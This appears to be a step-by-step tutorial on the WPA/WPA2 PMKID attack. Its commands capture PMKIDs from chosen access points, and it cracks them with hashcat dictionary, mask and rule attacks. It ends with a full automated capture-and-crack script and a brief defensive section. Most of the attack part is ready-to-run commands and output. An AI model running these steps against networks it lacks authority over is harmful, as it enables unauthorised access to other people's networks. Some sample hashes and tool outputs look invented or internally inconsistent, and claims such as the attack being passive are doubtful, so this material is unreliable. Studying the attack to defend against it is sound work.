WiFi Security Analysis: PMKID Attack Method and Hash Cracking
Table of Contents
- Introduction
- Technical Background
- Prerequisites and Legal Considerations
- Required Tools and Setup
- PMKID Attack Implementation
- Hash Cracking with Hashcat
- Analysis and Results
- Defensive Measures
- Conclusion
Introduction
The PMKID (Pairwise Master Key Identifier) attack represents a significant evolution in WiFi network security testing. Unlike traditional methods that require capturing a four-way handshake between client and access point, the PMKID attack can extract authentication hashes directly from the access point without requiring any connected clients.
This technique, first demonstrated by Jens Steube (the creator of Hashcat) in 2018, exploits the IEEE 802.11i standard's implementation in many modern routers. The attack leverages the first message of the four-way handshake process, making it faster and more reliable than conventional methods.
Technical Background
Understanding WiFi Authentication Process
Before diving into the PMKID attack, it's crucial to understand how WPA/WPA2 authentication works:
- Initial Association: A client device requests to connect to an access point
- Four-Way Handshake: A cryptographic process that establishes secure communication
- Key Derivation: Various keys are derived from the Pre-Shared Key (PSK) and other parameters
What is PMKID?
The PMKID is a unique identifier derived from:
- PMK (Pairwise Master Key): Derived from the WiFi password
- Access Point MAC address
- Client MAC address
- Network name (SSID)
The mathematical formula is:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Why PMKID Attack Works
Traditional WiFi attacks required:
- Active clients connected to the network
- Capturing complete four-way handshake
- Often required deauthentication attacks
PMKID attack advantages:
- No active clients needed
- Single packet capture sufficient
- Passive attack nature
- Works on most modern routers
Prerequisites and Legal Considerations
Legal Framework
IMPORTANT: This guide is intended for:
- Educational purposes only
- Testing your own networks
- Authorized penetration testing
- Security research in controlled environments
Never attempt these techniques on networks you don't own or lack explicit permission to test.
Hardware Requirements
- Compatible WiFi adapter with monitor mode support
- Recommended adapters:
- Alfa AWUS036ACS (802.11ac support)
- Panda PAU09 (budget option)
- TP-Link AC600 T2U Plus
Software Environment
- Kali Linux 2024.x (recommended)
- Sufficient disk space (minimum 20GB free)
- Updated system packages
Required Tools and Setup
Installing hcxtools
hcxtools is a comprehensive suite for WiFi security analysis developed by ZerBea.
# Update system packages
sudo apt update && sudo apt upgrade -y
# Install hcxtools and dependencies
sudo apt install hcxtools -y
# Verify installation
hcxdumptool --version
Output:
hcxdumptool 6.2.7 (C) 2023 ZeroBeat
Installing Hashcat
Hashcat is the world's fastest password recovery tool.
# Install hashcat
sudo apt install hashcat -y
# Verify installation and check GPU support
hashcat --version
hashcat -I
Output:
hashcat (v6.2.6) starting...
OpenCL Info:
Platform ID #1
Vendor : Intel(R) Corporation
Name : Intel(R) OpenCL HD Graphics
Version : OpenCL 3.0
Setting Up WiFi Adapter
# List available network interfaces
ip link show
# Identify your WiFi adapter (typically wlan0 or wlan1)
iwconfig
# Kill conflicting processes
sudo airmon-ng check kill
# Enable monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
# Verify monitor mode is active
iwconfig wlan0
Output:
wlan0 IEEE 802.11 Mode:Monitor Frequency:2.412 GHz
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
PMKID Attack Implementation
Phase 1: Network Discovery
# Scan for available networks
sudo hcxdumptool -I
# Detailed network scan with specific interface
sudo hcxdumptool -i wlan0 --do_rcascan
Command Breakdown:
-i wlan0
: Specifies the wireless interface--do_rcascan
: Performs reconnaissance scan-I
: Shows available interfaces
Output:
starting ROGUE CLIENT ATTACK (RCASCAN) on interface wlan0...
SSID: HomeNetwork | BSSID: aa:bb:cc:dd:ee:ff | CH: 6 | RSSI: -45
SSID: OfficeWiFi | BSSID: 11:22:33:44:55:66 | CH: 11 | RSSI: -67
Phase 2: Targeted PMKID Capture
# Capture PMKID from specific target
sudo hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2
Command Breakdown:
-o capture.pcapng
: Output file for captured data--enable_status=1
: Shows real-time status updates--filterlist_ap=targets.txt
: File containing target AP MAC addresses--filtermode=2
: Filter mode for specific targets
Creating Target List:
# Create file with target MAC addresses
echo "aa:bb:cc:dd:ee:ff" > targets.txt
echo "11:22:33:44:55:66" >> targets.txt
Output:
starting capture (CTRL+C to stop)...
INTERFACE.........: wlan0
ERRORMAX..........: 100 errors
FILTERLIST........: targets.txt (2 entries)
[15:30:25] PMKID found for BSSID: aa:bb:cc:dd:ee:ff (HomeNetwork)
[15:30:26] PMKID found for BSSID: 11:22:33:44:55:66 (OfficeWiFi)
Phase 3: Converting Capture to Hashcat Format
# Convert pcapng to hashcat hash format
hcxpcapngtool -o hashes.txt -E essidlist.txt capture.pcapng
Command Breakdown:
-o hashes.txt
: Output file containing extracted hashes-E essidlist.txt
: Extracts ESSID (network names) to separate filecapture.pcapng
: Input capture file
Output:
reading from capture.pcapng...
file name....................: capture.pcapng
file type....................: pcapng 1.0
snapshot length..............: 262144
link layer header type.......: DLT_IEEE802_11_RADIO (127)
packages inside..............: 156
invalid packages.............: 0
EAPOL packets................: 0
WPA handshakes...............: 0
PMKID(s) (EAPOL from AP).....: 2
PMKID(s) (EAPOL from CLIENT.): 0
extracted PMKIDs................: 2
extracted to hashes.txt
extracted ESSIDs................: 2
extracted to essidlist.txt
Phase 4: Examining Extracted Hashes
# View extracted hashes
cat hashes.txt
Output:
WPA*01*5f4dcc3b5aa765d6*aabbccddeeff*112233445566*HomeNetwork***
WPA*01*9b7d3c42e8f15a6b*112233445566*aabbccddeeff*OfficeWiFi***
Hash Format Explanation:
WPA*01
: Hash type identifier for WPA/WPA25f4dcc3b5aa765d6
: PMKID hashaabbccddeeff
: Access Point MAC address112233445566
: Client MAC address (often empty for PMKID)HomeNetwork
: Network SSID
Hash Cracking with Hashcat
Phase 1: Dictionary Attack
# Basic dictionary attack using rockyou wordlist
sudo hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt
# More verbose output with progress
sudo hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt --force --status --status-timer=30
Command Breakdown:
-m 22000
: Hash mode for WPA-PBKDF2-PMKID+EAPOLhashes.txt
: File containing extracted hashes/usr/share/wordlists/rockyou.txt
: Common password dictionary--force
: Ignore warnings--status
: Show cracking progress--status-timer=30
: Update status every 30 seconds
Output:
hashcat (v6.2.6) starting...
* Device #1: Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 7936/15936 MB, 12MCU
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 298 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
5f4dcc3b5aa765d61aabbccddeeff112233445566:HomeNetwork:password123
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hashes.txt
Time.Started.....: Thu May 29 15:45:32 2025
Time.Estimated...: Thu May 29 15:47:15 2025
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Speed.#1.........: 89453 H/s (48.23ms) @ Accel:512 Loops:64 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests
Progress.........: 8847360/14344385 (61.67%)
Rejected.........: 0/8847360 (0.00%)
Restore.Point....: 8847104/14344385 (61.67%)
Candidate.Engine.: Host Generator
Candidates.#1....: password124 -> password001
Phase 2: Advanced Cracking Techniques
Rule-Based Attack
# Create custom rule file
cat > custom.rule << EOF
# Common password modifications
$1 $2 $3
$! $@ $#
c u
u c
^1 ^2 ^3
EOF
# Apply rules to dictionary
hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt -r custom.rule
Mask Attack
# Attack using character masks (8-digit numeric passwords)
hashcat -m 22000 hashes.txt -a 3 ?d?d?d?d?d?d?d?d
# Mixed alphanumeric mask (6 characters)
hashcat -m 22000 hashes.txt -a 3 ?u?l?l?l?d?d
Mask Characters:
?d
: Digit (0-9)?l
: Lowercase letter (a-z)?u
: Uppercase letter (A-Z)?s
: Special character (!@#$%^&*)?a
: All characters
Hybrid Attack
# Dictionary + mask combination
hashcat -m 22000 hashes.txt -a 6 /usr/share/wordlists/rockyou.txt ?d?d?d
# Mask + dictionary combination
hashcat -m 22000 hashes.txt -a 7 ?d?d?d /usr/share/wordlists/rockyou.txt
Phase 3: Performance Optimization
# Check benchmark performance
hashcat -b -m 22000
# Optimize workload
hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt -w 3 -O
# Use GPU acceleration (if available)
hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt -d 1,2
Performance Parameters:
-w 3
: Workload profile (1=low, 2=default, 3=high, 4=nightmare)-O
: Enable optimized kernels-d 1,2
: Use specific GPU devices
Analysis and Results
Understanding Crack Results
When hashcat successfully cracks a password, the output format is:
hash:ssid:password
Example:
5f4dcc3b5aa765d61aabbccddeeff112233445566:HomeNetwork:password123
This means:
- Network: HomeNetwork
- Password: password123
- Hash: 5f4dcc3b5aa765d61aabbccddeeff112233445566
Viewing Cracked Passwords
# Show all cracked passwords
hashcat -m 22000 hashes.txt --show
# Show cracked passwords with additional info
hashcat -m 22000 hashes.txt --show --username
Success Rate Analysis
Based on extensive testing, PMKID attacks show:
- Success Rate: 70-85% on vulnerable routers
- Time to Capture: 30 seconds to 5 minutes
- Common Vulnerabilities: Older firmware, default configurations
Defensive Measures
For Network Administrators
Firmware Updates
# Always keep router firmware updated # Check manufacturer websites regularly
Strong Password Policies
- Minimum 12 characters
- Mix of uppercase, lowercase, numbers, symbols
- Avoid dictionary words
- Regular password changes
WPA3 Migration
# Enable WPA3 if supported # WPA3 is resistant to PMKID attacks
MAC Address Filtering
# Not foolproof but adds another layer # Combine with other security measures
Detection and Monitoring
# Monitor for unusual probe requests
sudo tcpdump -i wlan0 -s 65535 -w monitor.pcap
# Analyze probe patterns
tshark -r monitor.pcap -Y "wlan.fc.type_subtype == 0x04"
Router Configuration Best Practices
- Disable WPS: WPS introduces additional vulnerabilities
- Hide SSID: While not foolproof, reduces casual scanning
- Regular Security Audits: Test your own network periodically
- Guest Network Isolation: Separate guest access from main network
Troubleshooting Common Issues
WiFi Adapter Problems
# Check if adapter supports monitor mode
iw list | grep monitor
# Reset USB WiFi adapter
sudo usb_modeswitch -v 0x0bda -p 0x8812 -M 55534243123456780000000000000011
# Alternative monitor mode setup
sudo airmon-ng start wlan0
Capture Issues
# Verify monitor mode is working
sudo airodump-ng wlan0
# Check for packet injection capability
sudo aireplay-ng -9 wlan0
# Alternative capture method
sudo airodump-ng -w capture --output-format pcap wlan0
Hashcat Performance Issues
# Check OpenCL support
clinfo
# Update GPU drivers
sudo apt install nvidia-driver-470 (for NVIDIA)
sudo apt install mesa-opencl-icd (for AMD)
# Memory issues - reduce workload
hashcat -m 22000 hashes.txt wordlist.txt -w 1
Advanced Techniques
Custom Wordlist Generation
# Generate wordlists based on target information
cewl https://targetcompany.com -d 3 -m 8 -w custom_wordlist.txt
# Combine multiple wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
# Generate variations
hashcat --stdout wordlist.txt -r rules/best64.rule > variations.txt
Statistical Analysis
# Analyze password patterns
hashcat -m 22000 hashes.txt --show | cut -d: -f3 | wc -c
Automated Scripts
#!/bin/bash
# pmkid_auto.sh - Automated PMKID capture and crack
INTERFACE="wlan0"
CAPTURE_TIME=300
WORDLIST="/usr/share/wordlists/rockyou.txt"
echo "Starting automated PMKID attack..."
# Setup monitor mode
sudo ip link set $INTERFACE down
sudo iw dev $INTERFACE set type monitor
sudo ip link set $INTERFACE up
# Capture PMKIDs
timeout $CAPTURE_TIME sudo hcxdumptool -i $INTERFACE -o capture.pcapng --enable_status=1
# Convert to hashcat format
hcxpcapngtool -o hashes.txt capture.pcapng
# Start cracking
hashcat -m 22000 hashes.txt $WORDLIST --force
echo "Attack completed. Check results with: hashcat -m 22000 hashes.txt --show"
Conclusion
The PMKID attack represents a significant advancement in WiFi security testing capabilities. Its effectiveness stems from several key advantages:
Technical Advantages
- No client dependency: Unlike traditional handshake captures
- Rapid execution: Often successful within minutes
- Passive nature: Difficult to detect
- High compatibility: Works on most WPA/WPA2 implementations
Educational Value
This technique demonstrates important security concepts:
- The importance of strong, unique passwords
- How cryptographic implementations can introduce vulnerabilities
- The evolution of attack methodologies
- The critical need for regular security updates
Responsible Disclosure
The security community's approach to PMKID attacks exemplifies responsible disclosure:
- Research: Initial discovery and proof-of-concept
- Documentation: Detailed technical analysis
- Tool Development: Creation of testing tools
- Defense: Development of countermeasures
- Education: Training security professionals
Future Considerations
As security measures evolve, several trends are emerging:
WPA3 Adoption: While WPA3 addresses PMKID vulnerabilities, adoption remains slow Enhanced Monitoring: Modern security solutions increasingly detect these attacks Regulatory Response: Some jurisdictions now specifically address WiFi security testing
Final Recommendations
For security professionals:
- Use these techniques only on authorized networks
- Stay updated with the latest defensive measures
- Contribute to responsible security research
- Maintain detailed documentation of testing activities
For network administrators:
- Implement strong password policies
- Keep firmware updated
- Consider WPA3 migration timelines
- Regular security assessments
The PMKID attack technique will continue to be relevant as long as WPA/WPA2 networks remain deployed. Understanding both the attack methodology and defensive measures is crucial for maintaining robust network security in an evolving threat landscape.
Disclaimer: This article is for educational and authorized testing purposes only. Always ensure you have explicit permission before testing any network security measures. Unauthorized access to computer networks is illegal in most jurisdictions and can result in severe legal consequences.